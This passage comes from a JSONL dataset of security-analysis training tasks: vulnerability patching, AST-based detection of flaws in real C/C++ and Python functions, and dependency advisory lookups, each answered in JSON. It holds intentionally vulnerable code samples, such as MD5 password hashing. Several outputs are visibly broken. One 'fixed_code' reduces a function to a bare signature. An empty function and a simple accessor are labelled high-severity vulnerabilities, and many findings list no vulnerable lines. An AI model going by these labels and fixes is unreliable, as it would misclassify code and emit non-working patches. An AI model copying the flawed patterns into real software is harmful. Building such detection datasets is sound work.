\"Upgrade github.com/mattermost/mattermost-server to 11.1.1+incompatible or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-17", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static inline void __file_sb_list_add(struct file *file, struct super_block *sb)\n{\n\tstruct list_head *list;\n#ifdef CONFIG_SMP\n\tint cpu;\n\tcpu = smp_processor_id();\n\tfile->f_sb_list_cpu = cpu;\n\tlist = per_cpu_ptr(sb->s_files, cpu);\n#else\n\tlist = &sb->s_files;\n#endif\n\tlist_add(&file->f_u.fu_list, list);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-17\",\n \"cwe_name\": \"see MITRE CWE\",\n \"cve\": \"CVE-2014-8172\",\n \"fixed_code\": \"static inline void __file_sb_list_add(struct file *file, struct super_block *sb)\\n\",\n \"change_summary\": \"get rid of s_files and files_lock\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void free_bprm(struct linux_binprm *bprm)\n{\n\tfree_arg_pages(bprm);\n\tif (bprm->cred) {\n \t\tmutex_unlock(¤t->signal->cred_guard_mutex);\n \t\tabort_creds(bprm->cred);\n \t}\n \tkfree(bprm);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2012-4530\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "cpp", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C++ function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": " base::WeakPtr GetWeakPtr() {\n return weak_ptr_factory_.GetWeakPtr();\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-1586\",\n \"project\": \"launchpad\",\n \"vulnerable_lines\": [\n 2,\n 3\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"base\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 1,\n \"col\": 2\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 1,\n \"col\": 6\n },\n {\n \"token\": \"WeakPtr\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 1,\n \"col\": 15\n },\n {\n \"token\": \"OTRBrowserContextImpl\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 16\n },\n {\n \"token\": \">\",\n \"ast_node\": \">\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"GetWeakPtr\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 1,\n \"col\": 52\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 2,\n \"col\": 4\n },\n {\n \"token\": \"weak_ptr_factory_\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 11\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 2,\n \"col\": 28\n },\n {\n \"token\": \"GetWeakPtr\",\n \"ast_node\": \"field_identifier\",\n \"line\": 2,\n \"col\": 29\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 39\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 40\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 2,\n \"col\": 41\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 3,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: webkit2gtk\nInstalled version: <2.22.0-2\nSummary: A use after free issue was addressed with improved memory management. This issue affected versions prior to iOS 12, tvOS 12, Safari 12, iTunes 12.9 for Windows, iCloud for Windows 7.7.", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2018-4306\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"webkit2gtk\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2.22.0-2\",\n \"fixed_version\": \"2.22.0-2\",\n \"finding\": \"A use after free issue was addressed with improved memory management. This issue affected versions prior to iOS 12, tvOS 12, Safari 12, iTunes 12.9 for Windows, iCloud for Windows 7.7.\",\n \"remediation\": \"Upgrade webkit2gtk to 2.22.0-2 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int jpc_streamlist_insert(jpc_streamlist_t *streamlist, int streamno,\n jas_stream_t *stream)\n{\n\tjas_stream_t **newstreams;\n\tint newmaxstreams;\n\tint i;\n\t/* Grow the array of streams if necessary. */\n\tif (streamlist->numstreams >= streamlist->maxstreams) {\n\t\tnewmaxstreams = streamlist->maxstreams + 1024;\n\t\tif (!(newstreams = jas_realloc(streamlist->streams,\n\t\t (newmaxstreams + 1024) * sizeof(jas_stream_t *)))) {\n\t\t\treturn -1;\n\t\t}\n\t\tfor (i = streamlist->numstreams; i < streamlist->maxstreams; ++i) {\n\t\t\tstreamlist->streams[i] = 0;\n\t\t}\n\t\tstreamlist->maxstreams = newmaxstreams;\n\t\tstreamlist->streams = newstreams;\n\t}\n\tif (streamno != streamlist->numstreams) {\n\t\t/* Can only handle insertion at start of list. */\n\t\treturn -1;\n\t}\n\tstreamlist->streams[streamno] = stream;\n\t++streamlist->numstreams;\n\treturn 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"jasper\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-863", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/hatchet-dev/hatchet\nInstalled version: <0.91.1\nSummary: Hatchet: Cross-Tenant Durable Task Event Log Disclosure via Missing Authorization Check", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-g26x-m427-f48f\",\n \"cve\": \"CVE-2026-63342\",\n \"aliases\": [\n \"CVE-2026-63342\",\n \"GO-2026-6567\"\n ],\n \"cwe\": \"CWE-863\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/hatchet-dev/hatchet\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <0.91.1\",\n \"fixed_version\": \"0.91.1\",\n \"finding\": \"Hatchet: Cross-Tenant Durable Task Event Log Disclosure via Missing Authorization Check\",\n \"remediation\": \"Upgrade github.com/hatchet-dev/hatchet to 0.91.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-863", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/kubewarden/kubewarden-controller\nInstalled version: <1.33.0\nSummary: Kubewarden: Cross-namespace data exfiltration via deprecated host callback binding", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-6r7f-3fwq-hq74\",\n \"cve\": \"CVE-2026-29773\",\n \"aliases\": [\n \"CVE-2026-29773\",\n \"GO-2026-4652\"\n ],\n \"cwe\": \"CWE-863\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/kubewarden/kubewarden-controller\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <1.33.0\",\n \"fixed_version\": \"1.33.0\",\n \"finding\": \"Kubewarden: Cross-namespace data exfiltration via deprecated host callback binding\",\n \"remediation\": \"Upgrade github.com/kubewarden/kubewarden-controller to 1.33.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": "CWE-327", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the python source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "import hashlib\ndef store(password):\n return hashlib.md5(password.encode()).hexdigest()\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-327\",\n \"cwe_name\": \"Use of a Broken/Weak Cryptographic Algorithm\",\n \"title\": \"Weak hash (MD5) for security\",\n \"severity\": \"medium\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call\",\n \"ast_path\": [\n \"module\",\n \"function_definition\",\n \"block\",\n \"return_statement\",\n \"call\",\n \"attribute\",\n \"call\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"hashlib\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"md5\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \"password\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \"encode\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 32\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 38\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 39\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 40\n }\n ],\n \"explanation\": \"MD5 is cryptographically broken and unsuitable for password hashing.\",\n \"remediation\": \"Replace MD5/SHA1/DES with a modern algorithm (SHA-256+, AES-GCM) and a vetted library.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-200", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: nova\nInstalled version: <12.0.0a0\nSummary: OpenStack Nova Information leak in libvirt LVM-backed instances", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-rwhr-h69g-8qmq\",\n \"cve\": \"CVE-2012-5625\",\n \"aliases\": [\n \"CVE-2012-5625\",\n \"PYSEC-2012-42\"\n ],\n \"cwe\": \"CWE-200\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"nova\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <12.0.0a0\",\n \"fixed_version\": \"12.0.0a0\",\n \"finding\": \"OpenStack Nova Information leak in libvirt LVM-backed instances\",\n \"remediation\": \"Upgrade nova to 12.0.0a0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static ssize_t show_pan_tilt(struct class_device *class_dev, char *buf)\n{\n\tstruct pwc_device *pdev = cd_to_pwc(class_dev);\n\treturn sprintf(buf, \"%d %d\\n\", pdev->pan_angle, pdev->tilt_angle);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " static void mark_commit(struct commit *c, void *data)\n {\n\tmark_object(&c->object, NULL, NULL, data);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-2324\",\n \"project\": \"git\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"mark_commit\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 24\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 25\n },\n {\n \"token\": \"commit\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"mark_object\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 3,\n \"col\": 13\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"object\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 29\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 35\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 41\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 42\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 4,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int ipv6_create_tempaddr(struct inet6_ifaddr *ifp, struct inet6_ifaddr *ift)\n{\n\tstruct inet6_dev *idev = ifp->idev;\n\tstruct in6_addr addr, *tmpaddr;\n\tunsigned long tmp_prefered_lft, tmp_valid_lft, tmp_tstamp, age;\n\tunsigned long regen_advance;\n\tint tmp_plen;\n\tint ret = 0;\n\tint max_addresses;\n\tu32 addr_flags;\n\tunsigned long now = jiffies;\n\n\twrite_lock(&idev->lock);\n\tif (ift) {\n\t\tspin_lock_bh(&ift->lock);\n\t\tmemcpy(&addr.s6_addr[8], &ift->addr.s6_addr[8], 8);\n\t\tspin_unlock_bh(&ift->lock);\n\t\ttmpaddr = &addr;\n\t} else {\n\t\ttmpaddr = NULL;\n\t}\nretry:\n\tin6_dev_hold(idev);\n\tif (idev->cnf.use_tempaddr <= 0) {\n\t\twrite_unlock(&idev->lock);\n\t\tpr_info(\"%s: use_tempaddr is disabled\\n\", __func__);\n\t\tin6_dev_put(idev);\n\t\tret = -1;\n\t\tgoto out;\n\t}\n\tspin_lock_bh(&ifp->lock);\n\tif (ifp->regen_count++ >= idev->cnf.regen_max_retry) {\n\t\tidev->cnf.use_tempaddr = -1;\t/*XXX*/\n\t\tspin_unlock_bh(&ifp->lock);\n\t\twrite_unlock(&idev->lock);\n\t\tpr_warn(\"%s: regeneration time exceeded - disabled temporary address support\\n\",\n\t\t\t__func__);\n\t\tin6_dev_put(idev);\n\t\tret = -1;\n\t\tgoto out;\n\t}\n\tin6_ifa_hold(ifp);\n\tmemcpy(addr.s6_addr, ifp->addr.s6_addr, 8);\n\t__ipv6_try_regen_rndid(idev, tmpaddr);\n\tmemcpy(&addr.s6_addr[8], idev->rndid, 8);\n\tage = (now - ifp->tstamp) / HZ;\n\ttmp_valid_lft = min_t(__u32,\n\t\t\t ifp->valid_lft,\n\t\t\t idev->cnf.temp_valid_lft + age);\n\ttmp_prefered_lft = min_t(__u32,\n\t\t\t\t ifp->prefered_lft,\n\t\t\t\t idev->cnf.temp_prefered_lft + age -\n\t\t\t\t idev->cnf.max_desync_factor);\n\ttmp_plen = ifp->prefix_len;\n\tmax_addresses = idev->cnf.max_addresses;\n\ttmp_tstamp = ifp->tstamp;\n\tspin_unlock_bh(&ifp->lock);\n\n\tregen_advance = idev->cnf.regen_max_retry *\n\t idev->cnf.dad_transmits *\n\t idev->nd_parms->retrans_time / HZ;\n\twrite_unlock(&idev->lock);\n\n\t/* A temporary address is created only if this calculated Preferred\n\t * Lifetime is greater than REGEN_ADVANCE time units. In particular,\n\t * an implementation must not create a temporary address with a zero\n\t * Preferred Lifetime.\n\t */\n\tif (tmp_prefered_lft <= regen_advance) {\n\t\tin6_ifa_put(ifp);\n\t\tin6_dev_put(idev);\n\t\tret = -1;\n\t\tgoto out;\n\t}\n\n\taddr_flags = IFA_F_TEMPORARY;\n\t/* set in addrconf_prefix_rcv() */\n\tif (ifp->flags & IFA_F_OPTIMISTIC)\n\t\taddr_flags |= IFA_F_OPTIMISTIC;\n\n\tift = !max_addresses ||\n\t ipv6_count_addresses(idev) < max_addresses ?\n\t\tipv6_add_addr(idev, &addr, NULL, tmp_plen,\n\t\t\t ipv6_addr_scope(&addr), addr_flags,\n\t\t\t tmp_valid_lft, tmp_prefered_lft) : NULL;\n\tif (IS_ERR_OR_NULL(ift)) {\n\t\tin6_ifa_put(ifp);\n\t\tin6_dev_put(idev);\n\t\tpr_info(\"%s: retry temporary address regeneration\\n\", __func__);\n\t\ttmpaddr = &addr;\n\t\twrite_lock(&idev->lock);\n\t\tgoto retry;\n\t}\n\n\tspin_lock_bh(&ift->lock);\n\tift->ifpub = ifp;\n\tift->cstamp = now;\n\tift->tstamp = tmp_tstamp;\n\tspin_unlock_bh(&ift->lock);\n\n\taddrconf_dad_start(ift);\n\tin6_ifa_put(ift);\n\tin6_dev_put(idev);\nout:\n\treturn ret;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"net\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void fdct8x8_ref(const int16_t *in, int16_t *out, int stride, int tx_type) {\n vp9_fdct8x8_c(in, out, stride);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-1621\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 2\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"fdct8x8_ref\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 16\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 17\n },\n {\n \"token\": \"int16_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 23\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"int16_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \"stride\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 60\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 62\n },\n {\n \"token\": \"tx_type\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 66\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 73\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 1,\n \"col\": 75\n },\n {\n \"token\": \"vp9_fdct8x8_c\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 15\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 16\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 18\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 20\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 23\n },\n {\n \"token\": \"stride\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 31\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 2,\n \"col\": 32\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 3,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "size_t ZSTD_writeLastEmptyBlock(void* dst, size_t dstCapacity)\n{\n if (dstCapacity < ZSTD_blockHeaderSize) return ERROR(dstSize_tooSmall);\n { U32 const cBlockHeader24 = 1 /*lastBlock*/ + (((U32)bt_raw)<<1); /* 0 size */\n MEM_writeLE24(dst, cBlockHeader24);\n return ZSTD_blockHeaderSize;\n }\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"zstd\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void mono_gc_cleanup (void)\n{\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"project\": \"mono\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int udf_setsize(struct inode *inode, loff_t newsize)\n{\n\tint err;\n\tstruct udf_inode_info *iinfo;\n\tint bsize = 1 << inode->i_blkbits;\n\n\tif (!(S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode) ||\n\t S_ISLNK(inode->i_mode)))\n\t\treturn -EINVAL;\n\tif (IS_APPEND(inode) || IS_IMMUTABLE(inode))\n\t\treturn -EPERM;\n\n\tiinfo = UDF_I(inode);\n\tif (newsize > inode->i_size) {\n\t\tdown_write(&iinfo->i_data_sem);\n\t\tif (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {\n\t\t\tif (bsize <\n\t\t\t (udf_file_entry_alloc_offset(inode) + newsize)) {\n\t\t\t\terr = udf_expand_file_adinicb(inode);\n\t\t\t\tif (err)\n\t\t\t\t\treturn err;\n\t\t\t\tdown_write(&iinfo->i_data_sem);\n\t\t\t} else {\n\t\t\t\tiinfo->i_lenAlloc = newsize;\n\t\t\t\tgoto set_size;\n\t\t\t}\n\t\t}\n\t\terr = udf_extend_file(inode, newsize);\n\t\tif (err) {\n\t\t\tup_write(&iinfo->i_data_sem);\n\t\t\treturn err;\n\t\t}\nset_size:\n\t\ttruncate_setsize(inode, newsize);\n\t\tup_write(&iinfo->i_data_sem);\n\t} else {\n\t\tif (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {\n\t\t\tdown_write(&iinfo->i_data_sem);\n\t\t\tudf_clear_extent_cache(inode);\n\t\t\tmemset(iinfo->i_ext.i_data + iinfo->i_lenEAttr + newsize,\n\t\t\t 0x00, bsize - newsize -\n\t\t\t udf_file_entry_alloc_offset(inode));\n\t\t\tiinfo->i_lenAlloc = newsize;\n\t\t\ttruncate_setsize(inode, newsize);\n\t\t\tup_write(&iinfo->i_data_sem);\n\t\t\tgoto update_time;\n\t\t}\n\t\terr = block_truncate_page(inode->i_mapping, newsize,\n\t\t\t\t\t udf_get_block);\n\t\tif (err)\n\t\t\treturn 